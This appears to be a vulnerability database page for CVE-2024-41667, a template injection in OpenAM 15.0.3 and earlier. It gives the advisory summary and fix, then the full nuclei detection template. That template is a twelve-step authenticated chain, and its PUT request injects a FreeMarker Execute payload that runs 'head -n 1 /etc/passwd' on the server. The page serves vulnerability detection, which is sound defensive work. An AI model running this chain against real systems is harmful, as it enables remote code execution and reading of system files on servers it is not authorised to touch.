Browse / CVEs / CVE-2024-41667
CVE-2024-41667· CWE-94
OpenAM<=15.0.3 FreeMarker - Template Injection
highseverity
8.8CVSS score
3.5%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it
OpenAM is an open access management solution. In versions 15.0.3 and prior, the `getCustomLoginUrlTemplate` method in RealmOAuth2ProviderSettings.java is vulnerable to template injection due to its usage of user input
Impact
Authenticated attackers can exploit template injection to execute arbitrary code on the OpenAM server.
Fix
Update OpenAM to a version later than 15.0.3 that patches the template injection vulnerability.
How to confirm it
Send: POST /openam/json/realms/root/authenticate
Positive when: contains "authId"
Send: POST /openam/json/realms/root/authenticate
Positive when: contains "tokenId"
Send: GET /openam/realm/RMRealm?RMRealm.tblDataActionHref=/&requester=XUI
Send: GET /openam/agentconfig/Agents?Agents.tabCommon.TabHref=186&jato.pageSession={{pageSession1}}&requester=XUI
Send: POST /openam/agentconfig/Agents
Send: POST /openam/agentconfig/Agents
Send: POST /openam/agentconfig/AgentAdd
Send: GET /openam/agentconfig/Agents?Agents.tblDataActionHref=id%3D{{randstr}}%2Cou%3Dagentonly%2Cdc%3Dopenam%2Cdc%3Dopenidentityplatform%2Cdc%3Dorg&jato.pageSession…
Send: POST /openam/agentconfig/GenericAgentProfile
Positive when: contains "<div class=\"AlrtMsgTxt\">Profile was updated.</div>"
Send: POST /openam/json/realms/root/realm-config/services/oauth-oidc?_action=create
Positive when: contains "message" and "reason" and "code"
Send: PUT /openam/json/realms/root/realm-config/services/oauth-oidc
Positive when: contains "advancedOAuth2Config" and "customLoginUrlTemplate"
Send: GET /openam/oauth2/realms/root/authorize?client_id={{randstr}}&scope=employeenumber&redirect_uri=https://github.com&response_type=code&csrf={{csrf}}&max_age=200
Positive when: contains(urldecode(location),"root:x:0:0:")Run it with nuclei: nuclei -id CVE-2024-41667 -u <target>
The full check
id: CVE-2024-41667
info:
name: OpenAM<=15.0.3 FreeMarker - Template Injection
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
OpenAM is an open access management solution. In versions 15.0.3 and prior, the `getCustomLoginUrlTemplate` method in RealmOAuth2ProviderSettings.java is vulnerable to template injection due to its usage of user input
impact: |
Authenticated attackers can exploit template injection to execute arbitrary code on the OpenAM server.
remediation: |
Update OpenAM to a version later than 15.0.3 that patches the template injection vulnerability.
reference:
- https://github.com/advisories/GHSA-7726-43hg-m23v
- https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-7726-43hg-m23v
- https://github.com/OpenIdentityPlatform/OpenAM/commit/fcb8432aa77d5b2e147624fe954cb150c568e0b8
- https://nvd.nist.gov/vuln/detail/CVE-2024-41667
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2024-41667
cwe-id: CWE-94
epss-score: 0.03536
epss-percentile: 0.89369
metadata:
max-request: 12
verified: true
tags: cve,cve2024,intrusive,openam,ssti,authenticated,vuln
flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7) && http(8) && http(9) && http(10) && http(11) && http(12)
variables:
username: "{{username}}"
password: "{{password}}"
http:
- raw:
- |
POST /openam/json/realms/root/authenticate HTTP/1.1
Host: {{Hostname}}
Accept-API-Version: protocol=1.0,resource=2.1
X-Password: anonymous
X-Username: anonymous
Content-Type: application/json
X-Requested-With: XMLHttpRequest
X-NoSession: true
matchers:
- type: word
part: body
words:
- "authId"
internal: true
extractors:
- type: regex
name: authId
part: body
group: 1
regex:
- '"authId":"(.*?)"'
internal: true
- raw:
- |
POST /openam/json/realms/root/authenticate HTTP/1.1
Host: {{Hostname}}
Accept-API-Version: protocol=1.0,resource=2.1
X-Password: anonymous
X-Username: anonymous
Content-Type: application/json
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
X-NoSession: true
{"authId":"{{authId}}","template":"","stage":"DataStore1","header":"Sign in to OpenAM","infoText":["",""],"callbacks":[{"type":"NameCallback","output":[{"name":"prompt","value":"User Name:"}],"input":[{"name":"IDToken1","value":"{{username}}"}]},{"type":"PasswordCallback","output":[{"name":"prompt","value":"Password:"}],"input":[{"name":"IDToken2","value":"{{password}}"}]}]}
matchers:
- type: word
part: body
words:
- "tokenId"
internal: true
extractors:
- type: kval
name: csrf
part: header
internal: true
kval:
- iPlanetDirectoryPro
- raw:
- |
GET /openam/realm/RMRealm?RMRealm.tblDataActionHref=/&requester=XUI HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: pageSession1
part: body
group: 1
regex:
- 'jato.pageSession=(.*?)"'
- raw:
- |
GET /openam/agentconfig/Agents?Agents.tabCommon.TabHref=186&jato.pageSession={{pageSession1}}&requester=XUI HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: pageSession2
part: body
group: 1
regex:
- '"jato.pageSession" value="(.*?)"'
internal: true
- raw:
- |
POST /openam/agentconfig/Agents HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
jato.defaultCommand=%2Fg&jato.pageSession={{pageSession2}}
extractors:
- type: regex
name: pageSession3
part: body
group: 1
regex:
- '"jato.pageSession" value="(.*?)"'
internal: true
- raw:
- |
POST /openam/agentconfig/Agents HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
&Agents.tfFilter=*&Agents.tblSearch.PrimarySortNameHiddenField=tblDataName&Agents.tblSearch.PrimarySortOrderHiddenField=ascending&Agents.tblSearch.SecondarySortNameHiddenField=&Agents.tblSearch.SecondarySortOrderHiddenField=&Agents.tblSearch.AdvancedSortNameHiddenField=&Agents.tblSearch.AdvancedSortOrderHiddenField=&Agents.tblButtonAdd=New...&Agents.tblButtonDelete.DisabledHiddenField=true&Agents.tblSearch.SelectionCheckbox0.jato_boolean=false&Agents.tblDataUniversalName=id%3Dou%3Dagentonly%2Cdc%3Dopenam%2Cdc%3Dopenidentityplatform%2Cdc%3Dorg&Agents.tfGroupFilter=*&Agents.tblSearchGroup.PrimarySortNameHiddenField=tblDataGroupName&Agents.tblSearchGroup.PrimarySortOrderHiddenField=ascending&Agents.tblSearchGroup.SecondarySortNameHiddenField=&Agents.tblSearchGroup.SecondarySortOrderHiddenField=&Agents.tblSearchGroup.AdvancedSortNameHiddenField=&Agents.tblSearchGroup.AdvancedSortOrderHiddenField=&Agents.tblButtonGroupDelete.DisabledHiddenField=true&jato.defaultCommand=%2FbtnSearch&jato.pageSession={{pageSession3}}
extractors:
- type: regex
name: pageSession4
part: body
group: 1
regex:
- '"jato.pageSession" value="(.*?)"'
internal: true
- raw:
- |
POST /openam/agentconfig/AgentAdd HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
AgentAdd.button1=Create&AgentAdd.tfName={{randstr}}&AgentAdd.tfPassword=test&AgentAdd.tfPasswordConfirm=test&jato.defaultCommand=%2Fbutton1&jato.pageSession={{pageSession4}}
extractors:
- type: regex
name: pageSession5
part: body
group: 1
regex:
- '"jato.pageSession" value="(.*?)"'
internal: true
- raw:
- |
GET /openam/agentconfig/Agents?Agents.tblDataActionHref=id%3D{{randstr}}%2Cou%3Dagentonly%2Cdc%3Dopenam%2Cdc%3Dopenidentityplatform%2Cdc%3Dorg&jato.pageSession={{pageSession2}} HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: pageSession6
part: body
group: 1
regex:
- '"jato.pageSession" value="(.*?)"'
internal: true
- raw:
- |
POST /openam/agentconfig/GenericAgentProfile HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
GenericAgentProfile.button1=+Save+&GenericAgentProfile.agentgroup=&GenericAgentProfile.sunIdentityServerDeviceStatus=Active&GenericAgentProfile.userpassword=&GenericAgentProfile.userpassword_confirm=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientType=Confidential&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.listbox=https%3A%2F%2Fgithub.com&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.deleteButton.DisabledHiddenField=false&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.selectedTextField=https%3A%2F%2Fgithub.com%09https%3A%2F%2Fgithub.com&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.listbox=employeenumber&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.deleteButton.DisabledHiddenField=false&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.selectedTextField=employeenumber%09employeenumber&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.claims.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.claims.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.claims.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.claims.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.name.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.name.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.name.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.name.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.description.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.description.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.description.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.description.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultScopes.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultScopes.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultScopes.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultScopes.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.responseTypes.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.responseTypes.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.responseTypes.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.responseTypes.selectedTextField=code%09code%09token%09token%09id_token%09id_token%09code+token%09code+token%09token+id_token%09token+id_token%09code+id_token%09code+id_token%09code+token+id_token%09code+token+id_token&GenericAgentProfile.com.forgerock.openam.oauth2provider.contacts.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.contacts.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.contacts.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.contacts.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.tokenEndPointAuthMethod=client_secret_basic&GenericAgentProfile.com.forgerock.openam.oauth2provider.jwksURI=http%3A%2F%2Fkubernetes.docker.internal%3A8081%2Fopenam%2Foauth2%2Fconnect%2Fjwk_uri&GenericAgentProfile.com.forgerock.openam.oauth2provider.jwks=&GenericAgentProfile.com.forgerock.openam.oauth2provider.sectorIdentifierURI=&GenericAgentProfile.com.forgerock.openam.oauth2provider.subjectType=Public&GenericAgentProfile.com.forgerock.openam.oauth2provider.idTokenSignedResponseAlg=HS256&GenericAgentProfile.idTokenEncryptionEnabled.jato_boolean=false&GenericAgentProfile.idTokenEncryptionAlgorithm=RSA1_5&GenericAgentProfile.idTokenEncryptionMethod=A128CBC-HS256&GenericAgentProfile.idTokenPublicEncryptionKey=&GenericAgentProfile.com.forgerock.openam.oauth2provider.postLogoutRedirectURI.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.postLogoutRedirectURI.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.postLogoutRedirectURI.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.postLogoutRedirectURI.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.accessToken=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientSessionURI=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientName.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientName.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientName.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientName.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientJwtPublicKey=&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultMaxAge=600&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultMaxAgeEnabled.jato_boolean=false&GenericAgentProfile.com.forgerock.openam.oauth2provider.publicKeyLocation=jwks_uri&GenericAgentProfile.com.forgerock.openam.oauth2provider.authorizationCodeLifeTime=0&GenericAgentProfile.com.forgerock.openam.oauth2provider.refreshTokenLifeTime=0&GenericAgentProfile.com.forgerock.openam.oauth2provider.accessTokenLifeTime=0&GenericAgentProfile.com.forgerock.openam.oauth2provider.jwtTokenLifeTime=0&GenericAgentProfile.isConsentImplied.jato_boolean=false&jato.pageSession={{pageSession6}}
matchers:
- type: word
part: body
words:
- '<div class="AlrtMsgTxt">Profile was updated.</div>'
internal: true
- raw:
- |
POST /openam/json/realms/root/realm-config/services/oauth-oidc?_action=create HTTP/1.1
Host: {{Hostname}}
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Connection: keep-alive
{}
matchers:
- type: word
part: body
words:
- 'message'
- 'reason'
- 'code'
condition: and
internal: true
- raw:
- |
PUT /openam/json/realms/root/realm-config/services/oauth-oidc HTTP/1.1
Host: {{Hostname}}
X-Requested-With: XMLHttpRequest
Content-Type: application/json
{"advancedOAuth2Config":{"customLoginUrlTemplate":"<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"head -n 1 /etc/passwd\")}"},"deviceCodeConfig":{"completionUrl":"","verificationUrl":"","devicePollInterval":5,"deviceCodeLifetime":300},"oidcSsoProviderEnabled":false,"_id":"","_type":{"_id":"oauth-oidc","name":"OAuth2 Provider","collection":false}}
matchers:
- type: word
part: body
words:
- 'advancedOAuth2Config'
- 'customLoginUrlTemplate'
condition: and
internal: true
- raw:
- |
GET /openam/oauth2/realms/root/authorize?client_id={{randstr}}&scope=employeenumber&redirect_uri=https://github.com&response_type=code&csrf={{csrf}}&max_age=200 HTTP/1.1
Host: {{Hostname}}
disable-cookie: true
matchers:
- type: dsl
dsl:
- 'contains(urldecode(location),"root:x:0:0:")'References
- https://github.com/advisories/GHSA-7726-43hg-m23v
- https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-7726-43hg-m23v
- https://github.com/OpenIdentityPlatform/OpenAM/commit/fcb8432aa77d5b2e147624fe954cb150c568e0b8
- https://nvd.nist.gov/vuln/detail/CVE-2024-41667
Use this check only on systems you are authorised to test. Where the data comes from